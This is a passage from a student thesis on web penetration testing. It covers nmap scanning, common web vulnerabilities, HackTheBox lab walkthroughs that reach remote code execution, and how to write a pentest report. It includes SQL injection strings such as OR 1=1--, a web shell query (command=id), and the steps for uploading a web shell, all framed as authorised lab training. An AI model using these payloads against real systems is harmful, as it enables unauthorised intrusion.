Port scanning is not always legal. If it ultimately concludes with an attempted attack,such as what is known in technical language as exploiting a security breach, punishableacts may be incurred. The legal situation seems somewhat less clear when, for example,a computer system is paralyzed due to an intensive port scanning. Since the scanningmethods, such as nmap, can place a high load on the target system due to the highfrequency of connection requests, this can lead to, among other consequences, a systemcollapse and crash.

In addition, it is also possible that those responsible for the target system become awareof the scans (making use of monitoring tools) before a general system failure and considerit as a first step to carry out the attack. In this sense, the legal consequences cannot belost sight of. In case of intentionally causing an overload in the external system, one wouldspeak of the famous DoS and DDoS attacks, which can almost certainly incur criminalprosecution.

From the above information, it can be deduced that it is convenient to make sure thatyou have the authorization to carry out the so-called port scan in the correspondingsystem. It is also advisable to use this technique solely for security reasons and not outof pure curiosity. [54]

Nmap’s modes and techniques

• Basic scanning. The most common nmap scan is the SYN scan, also known asstealth scan. It can be used by adding the -sS flag. It is the default nmap techniqueif nothing is specified. It will scan the TCP ports by sending SYN packets to theports on the target while completing the TCP handshake. If the port is open, aSYN-ACK will be received and nmap will not send hack the ACK leaving thehandshake incomplete so that the information never reaches the application layer.This means that the scan will not appear in any application logs. It is also fasterand more efficient as it sends fewer packets.

It is important to note that modern firewalls and monitoring technologies are capableof detecting these scans. The word stealth does not mean undetectable in thiscase.

When we want to perform a UDP scan, nmap will use the previously describedmethod of ICMP. However, some UDP ports have their protocol-specific packetsthat can give us more reliable information. To perform a UDP-specific scan, we canuse the -sU flag. It is important to note that this flag can be combined with thepreviously explained stealth scan.

Another useful flag is -sn. It allows us to probe a wide range of targets. This willonly tell us if a host is online or not, but it is useful to have a clean list of targets


to scan.

We can also tell nmap how do we want to output the results of the scan, a goodway is to use the -oG flag that will give us an output that is easy to parse usingcommands like grep or cut (seen in section 5.6.2).

• OS Guessing. One interesting feature of nmap is that it can try to guess thetarget’s operating system based on the returned packets and provide a list of possibleOperating Systems. It is based on the differences between implementations of theTCP/IP stack, for example, the TTL (Time To Leave) size. For this, we can usethe -O flag.

Figure 7.14: Nmap OS fingerprint scan.

• Service Guessing. It is also possible to guess the services that are running ona specific port using the service banners10 with the -sV flag combined with the -Athat will enumerate services using predefined scripts.

Conclusions

As we mentioned at the beginning of this section, the scope of our active informationgathering part only covers the nmap tool as it is the most used and has an extensiverange of configurations and possibilities. For this thesis it will be enough, but if wewanted to further elaborate on the active information gathering we could talk aboutenumerations (DNS, SMB...) and gathering information on machines without openports. But this would take a lot of time and space that we don’t have.

10Some servers and other system daemons often expose critical information about not only the softwarename, but also about the exact versions and operating systems they’re running— the ‘banner’ data inquestion.

8 | Common exploitable vulnerabilities

Vulnerabilities are almost endless nowadays. We can find a CVE1 for almost any technol-ogy and platform.

When talking about web technologies, there are a series of common vulnerabilities thathave affected the web for years. In fact, the first web-security terms such as cross-sitescripting were proposed more than 20 years ago [55]. Here in this thesis, as we havea limited time and also a limited space, we will be explaining and reviewing the mostcommonly exploited web vulnerabilities of them all.

For each vulnerability we will be describing how does it work, how it is exploited. Wewill also review the impact and mitigations. The later content can be seen in

8.1 Cross-Site Scripting

Cross-Site scripting is a web security vulnerability also known for its abbreviation, XSS.It allows an attacker to compromise the interactions of users in a vulnerable applicationvia injecting scripts into an otherwise benign and trusted site.

The flaws that allow such attacks are very common and are often related with sites thattake user input without validating or sanitizing [56] it. The end browser has no way tocheck if the script should be trusted or not, and, as it comes from a trusted source, it willhave access to all the site data (including cookies, session tokens, etc.).

8.1.1 How it works

The attacker manipulates the application in a way that it will return malicious JavaScriptcode to its users. When the malicious code executes inside the victim’s browser, theattacker can compromise their interactions with the site. For example, the attacker couldsteal their session cookie to login into their session.

There are three different ways a XSS attack can occur.1CVE, short for Common Vulnerabilities and Exposures, a list of publicly disclosed computer security

flaws.

54

Common exploitable vulnerabilities 55

Reflected cross-site scripting

This type of cross-site scripting happens when an application receives data in an HTTPrequest and includes that data within the immediate response in an unsafe way.

We can imagine an insecure book store website. That website maybe has a page that tellsthe user the availability of a certain book.

Figure 8.1: URL for a search query and the generated HTML.

As we can see, the parameter that is present in the URL after the search, is the sameparameter that is then printed in the HTML code. If this application does not takeany actions to sanitize the inputs from the user, an attacker could generate a URL thatgenerates malicious code that then would be executed by the browser of the victim thatvisits the URL:

Figure 8.2: Malicious URL and resulting generated HTML.

Figure 8.3: Result after visiting the malicious URL.

As we can see, the JavaScript code was executed by the browser. If the victim visited themalicious URL containing the script, it would have been executed in the context of theirsession, meaning that the user data (e.g. cookie sessions) could be stolen. This is whatcan be achieved by a reflected cross site scripting.


Stored cross-site scripting

Stored XSS (persistent or second-order XSS) arises when an application receives datafrom an untrusted source and includes that data within its later HTTP responses in anunsafe way.

The data in question might be submitted to the application via HTTP requests; forexample, comments on a blog post, user nicknames in a chat room, or contact details ona customer order.

We can imagine that our insecure bookstore allows users to review the books. If no filtersand sanitizing was made to these comments, a malicious user could submit a commentwith JavaScript code. That code would be executed in the browser of every visitor of thatbook reviews page, as the code is stored in the server.

DOM-Based cross-site scripting

The Document Object Model (DOM) is an application programming interface (API) forHTML and XML documents. It defines the logical structure of documents and the waya document is accessed and manipulated.

To deliver a DOM-based cross-site scripting attack, data must be placed into a source sothat it is propagated to a sink 2 and causes execution of arbitrary JavaScript.

The majority of DOM XSS vulnerabilities can be found quickly and reliably using BurpSuite’s web vulnerability scanner. To test for DOM-based cross-site scripting manually,it is needed to use a browser with developer tools, such as Chromium based browsers orFirefox then working through each available source in turn, and testing each one individ-ually.

When we have found an HTML sink, in order to test the DOM-based XSS, we needto place a random alphanumeric string into the source (such as location.search), thenuse developer tools to inspect the HTML and find where the string appears. In mostbrowsers’ developer tools, Control+F will allow us to search any strings in the DOM.

For each location where the string appears within the DOM, we will now need to identifythe context and refine the input based on this context and how it is processed. Forexample, if the string appears within a double-quoted attribute, then injecting doublequotes in the string can be tested to see if it can break out of the attribute.

2A sink is a JavaScript function or a DOM object that can execute a malicious script during a XSSattack (e.g. eval or innerHTML).


8.2 Cross-Site Request Forgery

Cross-Site Request Forgery is a web security vulnerability that is also known for itsabbreviation, CSRF. It allows an attacker to induce the users of a website to performactions that they don’t intend while they are authenticated.

On a normal user, a successful CSRF attack can force the user to perform state changingrequests like transferring funds, changing their email address, and so forth. If the victimis an administrative account, CSRF can compromise the entire web application. [57]

8.2.1 How it works

On most sites, the browser requests include the credentials associated with the site,such as the user’s session cookie, IP address, and so forth. Therefore, if the user isauthenticated to the site, the site will have no way to distinguish between the forgedrequest sent by the victim and a legitimate request sent by the victim.

For a CSRF attack to be possible, three key conditions must be met:

• A relevant action. An action within the application induces the attacker to takeaction. This might be a privileged action or any user-specific data manipulation(such as a password change).

• Cookie-based session handling. Performing the action involves issuing one ormore HTTP requests, and the application relies solely on session cookies toidentify the user who has made the requests. There is no other mechanism inplace for tracking sessions or validating user requests.

• No unpredictable request parameters. The requests that perform the actiondo not contain any parameters whose values the attacker cannot determineor guess. For example, when causing a user to change their password, the functionis not vulnerable if an attacker needs to know the value of the existing password.

We will make an example of a vulnerable website for a bookshop. The application containsa function that lets the user change the associated email address on the user account. TheHTTP request of that action looks like the following:

Figure 8.4: Vulnerable HTTP request.


This is a vulnerable request. It meets the conditions that are required for a CSRF attack.The action /email/change is of interest for an attacker. Following this action, anyonewould be able to change the user email. From there, a password change could be requested.

With this in mind, an attacker could construct an HTML page that when visited by theauthenticated user, it would perform the action:

Figure 8.5: Sample HTML CSRF attack code.

If a victim visits the page above while being authenticated to the vulnerable website(insecure-webstore.com in this case) the following actions will take place:

• The HTML we have seen in figure 8.5 will trigger a request to the vulnerable website.

• If the user is logged in to the vulnerable site, their browser will automatically includetheir session cookie in the request.

• The vulnerable website will process the request in the normal way, treat it as havingmade by the original user, resulting in a change of the email address.

8.3 SQL Injection

SQL Injection might be one of the most famous web security vulnerabilities. It allows anattacker to interfere with the queries that an application makes to its SQL database. Theattacker can achieve to retrieve data that they normally would not be able to retrieve.This might include data belonging to other users or any data that the application canaccess on the database.

In many cases, the data can be modified and deleted permanently from the database.This can change the application’s behaviors or content.

SQL injection attack occurs when [58]:

• An unintended data enters a program from an untrusted source.

• The data is used to dynamically construct a SQL query


8.3.1 How it works

Consider an application that is vulnerable to SQL injection. It might be a book storethat displays books in different categories. When the user clicks the ’Mystery’ category,the browser makes a request to the following URL:

https://insecure-bookstore.com/books?category=Mystery

On the backend, the application makes an SQL query to retrieve the relevant details fromthe database:

Figure 8.6: SQL query made by the application.

This application is not implementing any defenses against SQL injection attacks. In SQLlanguage, the ‘–‘ characters are the starter for a comment line, meaning that anythingafter that sequence of characters will be ignored and interpreted as a comment. Anattacker can construct a query by inputting a certain combination of these characters andSQL instructions into the URL Parameter:

https://insecure-bookstore.com/books?category=Mystery’--

That would result in the following query:

Figure 8.7: Manipulated SQL query.

This means that the results from this very will no longer be limited by the available= 1, so the attacker could see all the books even if they are not available. With this inmind, it means that the attacker could now construct SQL queries at will, for example:

https://insecure-bookstore.com/books?category=Mystery’ OR 1=1--

Resulting in:


Figure 8.8: Manipulated SQL query.

As this sentence will always be evaluated as True, all the books from all categories willbe shown as a result.

8.4 Vulnerable file upload

If not implemented correctly, a simple file upload function can be used as a powerfulvector for a number of high-severity attacks. Some common defense mechanisms can bebypassed in order to upload a web shell, enabling the attacker to take full control of avulnerable web server. Given how common file upload functions are, knowing how to testthem properly is essential knowledge.

When a web server allows users to upload files to its file system without sufficientlyvalidating things like their name, type, contents, or size; we are facing a vulnerable fileupload page. Failing to properly enforce restrictions on these could mean that even abasic image upload function can be used to upload arbitrary and potentially dangerousfiles instead.

Vulnerable file uploads are a complex topic, as there are many ways an attacker can createa malicious file (from a photo with embedded code to a PDF file), here we will only scratchthe surface with a worst-case scenario.

8.4.1 How it works

From a security perspective, the worst possible scenario is when a website allows you toupload server-side scripts, such as PHP, Java, or Python files, and is also configured toexecute them as code. This makes it trivial to create your own web shell on the server.

If an attacker able to successfully upload a web shell3, would effectively grant him fullcontrol over the server, being able to read and write arbitrary files, exfiltrate sensitivedata, even use the server to pivot attacks against both internal infrastructure and otherservers outside the network.

With a file as simple as what can be seen in figure 8.9, if the file upload is vulnerable, anattacker could execute arbitrary commands on the server via HTTP requests.

3A malicious script that enables an attacker to execute arbitrary commands on a remote web serversimply by sending HTTP requests to the right endpoint.


Figure 8.9: One-liner PH web shell file.

This script enables passing any arbitrary system command via a query parameter asfollows: GET /example/exploit.php?command=id

8.5 Authentication vulnerabilities

Almost all web platforms require the user to register and authenticate their account toaccess and use the application in full. These authentication methods can contain somevulnerabilities, some of which we will discuss in this section. Such vulnerabilities can beeither typical inherent vulnerabilities in the authentication systems or vulnerabilities thatcan be introduced by error due to a bad implementation.

We understand by authentication the process by which a user or client verifies theiridentity. This involves making sure that the authenticated users really are who theyclaim to be.

There are three well established ways a user can authenticate on the internet, involvingthree different factors:

• Knowledge based. It involves something that the user knows, such as a passwordor a security question.

• Possession based. This involves something that the user has, a physical objectsuch as a mobile phone or a security token.

• Biological based. These methods involve something that the user is or does,these can be biometrics or behavior patterns.

It is also important to make a differentiation between authorization and authentica-tion. The authorization is what the user is allowed to do in an application context. Theauthentication is the verification that the users are who they claim to be.

8.5.1 How it works

Brute force

In most platforms, user accounts are linked to a secret password that is the key to enterto the user account. Brute force methods are the most common way to gain access to anaccount that is protected by a secret password.


The brute force method is based on trial and error, attempting to guess the user’s pass-word. Taking advantage of the processing power of computers, an attacker can automatethis task to guess a high amount of usernames and passwords at a high speed.

The guesses do not need to be completely random words and letters, normally we willmake use of the knowledge we acquired during the information gathering process (seenin chapter 7). To further improve it, we can get a dictionary from any open sourcerepository that may contain thousands of leaked passwords. This way, a dictionary canbe manufactured based on such knowledge, so the guesses are not completely blind, andwe can get more efficient. If the user’s password is not strong enough, or it has alreadybeen leaked, it will be a matter of time for the attacker to gain access to the account.

To perform these attacks, we have two paths we can follow:

• Brute force the password. In this method, we do not have the password hash,so we need to make the guess on the login form. We can use web fuzzers such asBurpSuite, or we can create our own scripts to automate the process or use existingsoftware.

• Brute force the hash. In this case, we have the hash of the password, and wewill try to break the hash. To do this, we can use any of the existing software thatautomates this process.

There are mainly two software packages that are currently being used by most profession-als. One is John the Ripper [59], a CPU-based password cracker that supports hundredsof hash and cipher types, and Hashcat [60], a GPU-based password cracker similar toJohn the Ripper but offering much higher speeds.

Username enumeration

It is important to also note that not only we can brute force passwords, but we also canbrute force the username or login email for a user. Some sites can give us some kind ofclue if the user exists in the database.

Figure 8.10: Result of entering a user that does not exist in the database.


In figure 8.10, we can see that for this page, if we try to log in with a non-existent user,the site tells us that the username does not exist. On the other hand, in figure 8.11, wecan see that if the username is valid, a different result is shown.

Figure 8.11: Result of entering a user that does exist in the database.

This way we could try to enumerate users and get a list of which users are present inthe database. From that list, we could then brute force the passwords and log into avulnerable user account.

9 | Exploiting vulnerable web applica-tions

This is the practical part, where we will be applying all the knowledge we have acquiredthroughout the theoretical part. We will be seeing different scenarios which could fit areal-case scenario without a doubt.

For this, HackTheBox [16] will be used. HackTheBox is a platform where vulnerablemachines can be found and are available for penetration testers to exploit, so they canpractice and improve their skills. There is an ever-changing selection of free machines but,if you want to be able to use any of the machines on their catalog, you need to pay fora premium fee. In order to freely select the machines that fit the purposes of this thesisthe best, this subscription will be paid.

9.1 Setting up the laboratory environment

As it was decided back in section 5.6.1, we chose ParrotOS as it is a lightweight GNU/Linuxdistribution that comes with all the tools we need. Also, they are partnered with Hack-TheBox, so it has some integration with the platform, although we will not be using suchfeatures.

The Operating System has been installed in the laptop described in section 2.2.3 as itsmain Operating System.

Once the HackTheBox monthly subscription was paid, the connection to the lab environ-ment at the HackTheBox servers needs to be configured. It uses an OpenVPN [61] tunnel,so we can see1. To do this, we need to download an .ovpn configuration file and run itfrom the command line using the openvpn command.

1referring to being able to send a ping or connect to the machine that is out of our network withoutthe VPN tunnel.

64

Exploiting vulnerable web applications 65

Figure 9.1: Download page and command to set up the VPN tunnel.

After that, our lab environment is ready, and we can start with the task of penetrationtest the selected machines.

9.2 Selecting the machines

HackTheBox has a collection of over 200 machines available for use with the paid sub-scription. There are machines focused on many Operating Systems and hacking tech-niques. We need to select machines that are exclusively focused on web servers andservices. It is also required to select machines that will allow us to illustrate the mostcommon techniques, procedures and logic of a penetration testing assessment for aweb service.

We can find some lists of interesting machines on the internet. Offensive Security isa company that offers certifications for professional penetration testers. They have acertification focused on the web technologies, it is the Offensive Security Web Expert(OSWE or WEB-300) [62] and the Offensive Security Certified Professional [63]


(OSCP or PEN-200) which is a more general-purpose certification also including a webpart.

To better sift out the machines that are not focused on web technologies, we can searchfor lists of machines recommended to prepare for the OWSA certification. The mostwell-known list is the NetSecFocus Trophy Room list [64] which contains machinesfor various certifications including the OSWE and OSCP. This list is considered a goodresource as it has been proven useful for many pentesters along the years, we can findmany good reviews for it and the machines shown are interesting for the sake of thisproject.

From that list, all the machines related to web, have been reviewed to see if they fit thescope of this project, determining which ones will be the most interesting to complete andinclude. To do this, we considered the difficulty (they had to be doable for a non-expertperson), the used methods to complete the penetration test, the attack vectors and therelation and probability to find all these vulnerabilities on a real environment.


9.3 Machine 01: Bounty

This is a HackTheBox machine that will allow us to illustrate the OWASP Top 10Security Misconfiguration category, more information can be found in appendixA.1. We will be able to execute remote code on a Windows server by bypassing the webserver’s file executable extension blacklist.

This is considered a Security Misconfiguration as the owner has not taken into accountthat users can upload a certain type of file that can vulnerate their system.

Information Gathering

We will start off by running an nmap against our target to see if it has any open ports.

Figure 9.2: Nmap results.

Now, using nmap again, we will try to get as much information about the machine aspossible. To do this we will use the following nmap command: sudo nmap -p- -sV -O10.10.10.93. If we unfold this command we have:

• -p- | Indicates that we want to scan all 65000 ports.

• -sV | Version detection, will try to guess which services are running on specific ports.

• -O | Will try to guess the Operating System that the server is running on.

Figure 9.3: Nmap service discovery and OS guessing results.


We found that the port 80 is open, also Microsoft IIS 7.5 is running. So now we cantry to access this web resource from our browser. Once in there, we see an image of amagician, and nothing more appears.

Figure 9.4: Page served by the target machine.

We now inspect the code of the page. Sometimes developers leave comments or we mightget some hints in there. In this case, there is nothing interesting in the page’s code.

Directory Bruteforcing

Now we will use dirbuster tool and the *small* wordlist with the extensions aspx andasp since it is a Windows Server. We chose dirbuster instead of dirb because it has aneasy and configurable graphical user interface whilst dirb is CLI only. ParrotOS alreadycomes with this wordlist in the wordlists folder. This will test the server for all pathsand files in the used wordlist and provide us a list of the resources that returned an OKresponse code.


Figure 9.5: Dirbuster configuration.

We obtained some interesting results:

Figure 9.6: Dirbuster results.

Analysis

We have now knowledge of the files transfer.aspx and the folder UploadedFiles . Let’stry to access the transfer.aspx:


Figure 9.7: transfer.aspx page.

Let’s try to upload something, for example, a wallpaper image we have on the computer:

Figure 9.8: Image uploaded successfully.

The image uploaded successfully, a message is shown. Now if we try to access it inthe UploadedFiles folder, we wil be able to discover it is indeed stored on the server asexpected:

Figure 9.9: The image is stored.

If we could upload an aspx file, we might be able to run it on the server. If this wasachieved, we could run a reverse shell [65] and start executing commands on the serveritself. Let’s try to upload an empty file with .aspx file extension:


Figure 9.10: Invalid upload.

Seems like there is some kind of security that prevents some file extensions from beinguploaded. Let’s try to use the same text file but change its extension to ‘.jpg‘ and see ifwe can upload it.

Figure 9.11: When the extension is changed the upload is successful.

As we can see, the application only checks for the file extension. This means that theremight be some kind of whitelist of which file extensions can be uploaded.

I searched the internet for useful extensions for Windows IIS servers and I found aninteresting list by HackTrics [66]. Under ASP extensions we found the following: .asp,.aspx, .config, .ashx...

Attacking

We can now start trying to upload a file with each of these extensions. From all of them,only .config was allowed. On the Microsoft Documentation about IIS [67], we can seethat a .config file, usually web.config, is used to configure an app hosted with IIS.

Using search engine operators seen in section 7.1.4, we can now search for exampleweb.config files on GitHub [38]:


Figure 9.12: Search with operators to find web.config files.

We were able to write a small test.config file with some ASP code getting inspired onthe results from the GitHub search (see figure B.1 in Appendix B) and we are able toaccess it through the browser:

Figure 9.13: Our message is rendered to the client side.

This means that the code we put on the file is being executed by the server. Now, weneed to do some research to find if we can run a webshell2 by uploading a .config file tothe webserver. Using the search engine operators method, we were able to find a codedthat opened a webshell on the server:

2A web shell is a shell-like interface that enables a web server to be remotely accessed, often for thepurposes of cyberattacks.


Figure 9.14: Webshell on web.config search results.

We will be using the code found in that GitHub repository (see figure B.2 in appendix B).It is a simple ASP code that runs a powershell command that can be passed through aURL parameter3 and returns the output of it on the browser as plain text:

Figure 9.15: The command is executed on the server and the output is rendered on theclient.

As can be seen, we were able to upload a file and execute commands on a remote server.It is out of the scope of this thesis to further continue the exploiting of the machine, aswe are limited to web vulnerabilities.

3See figure 5.1 for a detailed view of the structure on a URL.


9.4 Machine 02: Validation

Validation is a simple but real-world possible machine. We will explore SQL injection(SQLi) which has already been explained in section 8.3. It is a very typical vulnerabilitythat can be found in many outdated sites. It allows the user to manipulate and query adatabase through the web browser.

Information Gathering

As always, we need to start enumerating the open ports on the machine. To do this, wewill use nmap.

Figure 9.16: Nmap results.

We can see that the web ports (80, 8080) are open. Also, the ssh port is available. Wetry to access the web port using the web browser and this page appears:


Figure 9.17: Website on the server.

We tried several times to input a username and search using the default country ’Brazil’.The sites register the account, and it shows a list of registered users. At the beginning,no users were available.

Figure 9.18: Join button and test usernames output.

Now that we explored the port 80 we will try with the other open port, 8080:

Figure 9.19: Port 8080 returns a 502 code.


We received a bad gateway error indicating that the server, while acting as a gatewayor proxy, received an invalid response from the upstream server [68]. This means we willneed to stick with the 80 port along this penetration test.

Back to the website, we tried to input some common SLQ conflicting characters to see ifwe could generate some errors.

Figure 9.20: Testing SLQ injection without success.

It seems that the web client is sanitizing our inputs, so it does not affect the backendcode. We try to make use of curl to see if we can play with the requests and get somefeedback from the database.

To do this, we will first explore how the requests are made from the browser:

Figure 9.21: Browser web developer tools.

In the image above, we can see what a request to /account.php looks like. In the firstplace, we can notice a POST request to the server. This request contains two fields inthe data parameter: username and country. Also, the site sets a Cookie to the user,so it can be identified. If we explore this cookie on the Storage tab of the browser webdeveloper tools, we can see that the value of the cookie looks like a hash.


Figure 9.22: Cookie data in the storage tab in browser web developer tools.

A very useful tool to check what kind of hash we are facing is hashid [69]. We will useit to see what kind of hash is in this cookie value.

Figure 9.23: Analyze the hash with hashid.

After checking the hash with the possible hash types, we conclude that it is a md5 hash[70]. To check that we are correct about our deductions, we replicate the petition usingcURL and then compute the md5 hash of the username to check that it is, in fact, thesame as the cookie value.

Figure 9.24: Check that the cookie value is the username MD5 hash.

It is important to note that, by using cURL, we can input the country field. This was notpossible on the web interface as it was a selection dropdown menu. At this point, we canthink that the developer may have not thought about implementing the same protectionson the country field as, in a normal usage, the user would not be able to set a customparameter.

First, we want to know if we can get the /account.php page setting the cookie by usingcURL:


Figure 9.25: The cookie is set for user ’alvaro’ and we see the greeting page.

Now, we can start trying to perform an SQL injection. The most common method is theuse of " ’ " (single quote) sign. This is used as the ending character for a string (text)variable. If the backend is treating the input as a plain text string of text, and does notsanitize the input, it will be set "as is" in the SQL command, meaning that we can endthe sentence and add our custom commands right after.

To do this, we create an account where the country ends with a single quote:

Figure 9.26: First SQLi test, creating an account

Note: In order to select, edit and format the CLI outputs (such as HTML or largeoutputs), an online tool [71] is used to generate this figures. This is why it looks differentfrom the other screenshots.

Now we need to see which was our output, to do it we need to use cURL again as theCountry we introduced does not exist on the drop-down from the web interface. We willuse the cookie we got from our cURL command execution (as we did before) to get theHTML from /account.php:


Figure 9.27: First SQLi test, an error is printed to the HTML page.

Another character that is commonly used is the double dash (–) as it is the SQL markerfor a comment. Ending our sentence with - will prevent the errors coming from the leftouts of the original SQL command.

Figure 9.28: Comment marker removes the errors.

Figure 9.29: No errors are printed to the HTML code.

As we can see, the error is no longer outputted to the HTML. We can be sure this isa SQL injection of second order, meaning that the website itself is not vulnerableto SQL injections (we have seen that the username field is sanitized and the country islimited by a drop-down menu), instead, it is the backend SQL code that is vulnerableand we need to attack it using a different vector than the web interface. In this case, theinterface we are using is curl.

To test this is in fact true, we will try to make the SQLi output something in the HTMLcode.


Figure 9.30: cURL command.

Figure 9.31: The SQL injection was outputted to the HTML code.

Now we have managed to output a "1" to the HTML code. This is an evidence of the sitebeing vulnerable to this kind of attack. Now, we could gather some information aboutthe database such as the SQL username or the database name. For this it would be aseasy as to inject an sql command containing union select user() or union selectdatabase().

Figure 9.32: Database user is printed in the HTML code.

Web shell

The next step is to be able to generate a web shell from which we can execute commandsin the web server. SQL has a command that lets us output strings to a file [72].


Figure 9.33: Creating a text file with the SQLi.

When we navigate to /alvaro.txt the server shows an error and there is nothing to befound. First we thought it was an error and that the code was not working, but finally,the reason was that the code was not executed. We need to request the /account.phppage for the code to be executed in the server:

Figure 9.34: The code is executed and the file is found on the server.

Executing remote code

We know that the server can run php files. For this, we can generate a php file thatexecutes a command passed through a parameter:

Figure 9.35: Command error.

There are too much quotes and single quotes for the command and it is outputting anerror. To solve this we can URL encode (seen in section 6.4) the request. To do this, wecan use any of the many available tools online [73].


Figure 9.36: URL encoded request.

The original URL encoding I was using was making this method fail, so I had to findanother way to URL encode the string. In the next figure, the final working result isshown:

Figure 9.37: Generate remote shell file.

Now, we can try to execute the remote code and see that it is working as expected:

Figure 9.38: Remote code is executed.

This is all what covers the web pentesting part. We were able to execute remote code asusers in a remote server by exploiting a SQL injection vulnerability. Next steps would beto elevate the privileges to the root user so we can execute code as administrators.


9.5 Evidence gathering

Collecting evidences is a vital part of the process. While writing the final report for aclient, we need to be able to provide evidences that we checked everything that we saythat is possible to exploit. For this, we need to be organized and always keep in mindthis need.

All along the penetration test process, we will collect evidences of everything we find,from screenshots to text files, anything that might later help us write the report.

It is recommended to create a specific directory for every penetration test project. Insidethat, we need to classify everything we collect. In our case, we decided to create thefollowing folder structure for the penetration tests:

Figure 9.39: Folder structure for a penetration test project.

With this structure we can conveniently save all our nmap scans, and as we have alreadyseen in section 7.2.2, and know that all our scans are present in that folder.

In the content directory we should save anything that is worth saving during the scan;that is, any information regarding server versions, possible users and passwords, etc.

The exploits’ folder will contain any exploits that we attempt against that service, beingscripts that we developed or a proof of concept that we download online.

Finally, the screenshots’ folder will contain all visual evidences of what we are doingalong the process and what we achieve.

All of this content will conform our evidences and will be then used to build up thefindings report.

9.6 Reporting

The final part of our work as security pentesters is to write the report. Here in thissection, we will define what is a report and how we can elaborate a good report for our


clients.

What is a report

This report is the document that will explain, justify and evidence our work. All we havefound during the process should be compiled and described in the report.

When reporting, we need to consider the objective of the project and focus on describinghow we accomplished it. For example, if the objective was to assess the security of a certainhost, we will need to focus on that host and how we achieved the objective of assessing itrather than explaining technical things and wandering on many concepts.

Audience

Another important aspect that we need to have in mind when writing the report is theaudience. We need to think who will be reading and acting on the information that weinclude on the report.

In most real-world scenarios, the reports are read by people with many knowledge levels.We need to focus on writing a report that can satisfy the audience that it is directed to.

To achieve this, it is a good idea to divide the report in sections that are directed todifferent audiences. For example:

• Executive report. This part should be oriented to people with a low-level oftechnical knowledge, without any technical details.

This is not only done because the audience of this part may not have any technicalknowledge, but also because high-level executives of an organization should not needto spend a lot of time reading this report.

This means that this part should be a short, high-level explanation of the resultsand the client’s overall security status. It is a good idea to think of this part as theonly part that will ever be read.

• Technical report. This part should be oriented to people with a higher level oftechnical knowledge and should contain all the technical details.

Contents

The readers of the report will be wanting to solve any problems or vulnerabilities thathave been discovered, so we have to include all content that can be relevant to performthis task.

Our report should only contain the strictly necessary information. It is important notto flood the document with information that is not meaningful for the readers. If the


report includes too much tangential or irrelevant information, it will be harder to readand understand.

Sometimes it is better to think negatively. This means that it will be easier for us to definewhat should not be included in the report, rather than a list of what to include. Reportcontents can vary a lot from one and another depending on the scope of the project, so itis more logical to specify the things that should not be included:

• Tool outputs. There is no reason to include every single line from an output of atool in the report. Considering nmap as an example, only the relevant lines of theoutput to explain the point we are trying to make should be included. Everythingoutside the scope of the explanation is useless and should not be included.

• Unnecessary screenshots. It is important to keep the screenshots at a necessaryminimum. For example, if we want to show that we were able to execute a commandthrough a cross-site scripting attack, we can take a single screenshot of the executionof a whoami command instead of various screenshots of directory listings.

• Extra materials. Extra materials do not necessarily need to be present in thereport itself, instead we can provide separate documents with these materials. Thisway, we can keep our report clean and short.

Elaboration

There are many tools that will allow us to elaborate our report. From office tools suchas LibreOffice [74] to markup languages such as LATEX, markdown [75] or HTML.

At the end, we will choose what allows us to be most efficient with the process. Consideringthe options, there are many pros and cons to each of the tools:

• Office tools. These pieces of software are very easy to use and can be found inall systems. The learning curve is very straight forward. On the other hand, itis very difficult to control what we are doing and where the things are placed.For long documents it is not the best option. Also, the placing of images and tablescan get chaotic if we modify and add sections, to the document once it has been"finished".

One strong point to use this, is that the automation tools that will be commentedin section 9.6.1 work with this kind of documents.

• Markdown. It is a great option for quick reporting. It has all the basic featuresthat are needed, and it is very easy to use and is a very standard format. It is a bitlimited if we need to elaborate a bibliography, tables of content, title pages, footers,etc. Markdown is very useful when writing drafts that then will be transformed tothe final report.


• LATEX. It is the most powerful tool to write any kind of document. It is an opensource standard with many plugins that will allow us to create anything we want;from tables of contents to Gantt charts [76]. The learning curve for LATEXcan be abit steep at the beginning, but it is worth it as it will allow us to be very efficientin the long term.

From all the alternatives, LATEXmay be the best if we want to be efficient and get veryprofessional results. On the other hand, office suites are also a good option to considerif we don’t want to learn how to use LATEX.

Formats

When providing the final report to the client, we need to make sure that we are providingit in a convenient format.

A convenient format is a format that can be opened with many tools, as it is standard.We must not tie our reports to any piece of software of any kind. The reader shouldnever need to install additional software to read the report.

The basic PDF format is a very good standard [77] to provide our reports. This format,along with HTML, can be opened in most web browsers [78] and almost every systemcomes with a PDF viewer, so nothing will need to be installed.

Although it is not recommended, if we still want to provide the report in an officeformat, we should make sure we provide it in an open document text format (ODT).Proprietary formats from Microsoft (DOCX) will tie the user to a proprietary softwarein order to be able to read the contents correctly.

9.6.1 Report automation tools

The elaboration of reports can be automated by elaborating templates that then will beprocessed by a certain piece of software. A templating language is used to elaboratethe template. These languages are similar to LATEXin some key points and also have alearning curve.

The interesting point of using these tools is that some of them are oriented to penetrationtest reporting. We will be able to have a database of all the vulnerabilities that we find,all of our clients, and generate the CVSS v3.1 ratings for each of them in the sameinterface.


Figure 9.40: CVSS v3.1 calculator in pwndoc.

The main software that we can use to automate our reports is Pwndoc [79]. It is theonly software that is being actively maintained to this date.

With these pieces of software, we only need to create a template once and then it willgenerate the reports in a very quick way. Always looking the same way as it is a tem-plate. We may need to make a few changes, but all the hard work will be automaticallyperformed.

Conclusions

We started this project aiming to improve our knowledge on web technologies and themethods behind a web security assessment. All along the thesis, we explored the maintechnologies, methods and tools that are being used by professionals of the field.

We learned about such security technologies and the issues they may bring to web securityin the theoretical part and, then, we took them to practice. In the practical part, we wereable to see how some explained techniques are applied to real scenarios and how we shouldproceed in each step.

It is clear that the field of web security is very vast, and we only grasped the surface ofit. The limits on the length and time made us pick the most interesting and importanttopics, and some others were filtered out.

This guide will need to explore the methods more in depth, so this will be the continuationof this project. For every explained vulnerability, tool and method, it is needed to developa more extensive guide covering as much content as possible. Also, new methods will beexplored, and we may need to go beyond the web scope that we defined for this project.

Additionally, it will need to be added to the guide (when possible) the initial idea for thisthesis: cloud security. As we already mentioned in 4, we had to change the topic andproject due to a delay in the project that was initially assigned for this thesis. When thisproject starts, this guide will be expanded to cover the topics regarding the security ofthe cloud.

88

Bibliography

[1] “List of data breaches | wikiless.” https://wikiless.org/wiki/List_of_data_breaches, Feb. 2022.

[2] “Kanban | wikiless.” https://wikiless.org/wiki/Kanban, Oct. 2021.

[3] “Taiga.” https://www.taiga.io/, Oct. 2021.

[4] “Kali linux website.” https://www.kali.org/, Feb. 2022.

[5] “Parrotos website.” https://parrotsec.org/, Feb. 2022.

[6] “Acunetix.” https://www.acunetix.com/, Nov. 2021.

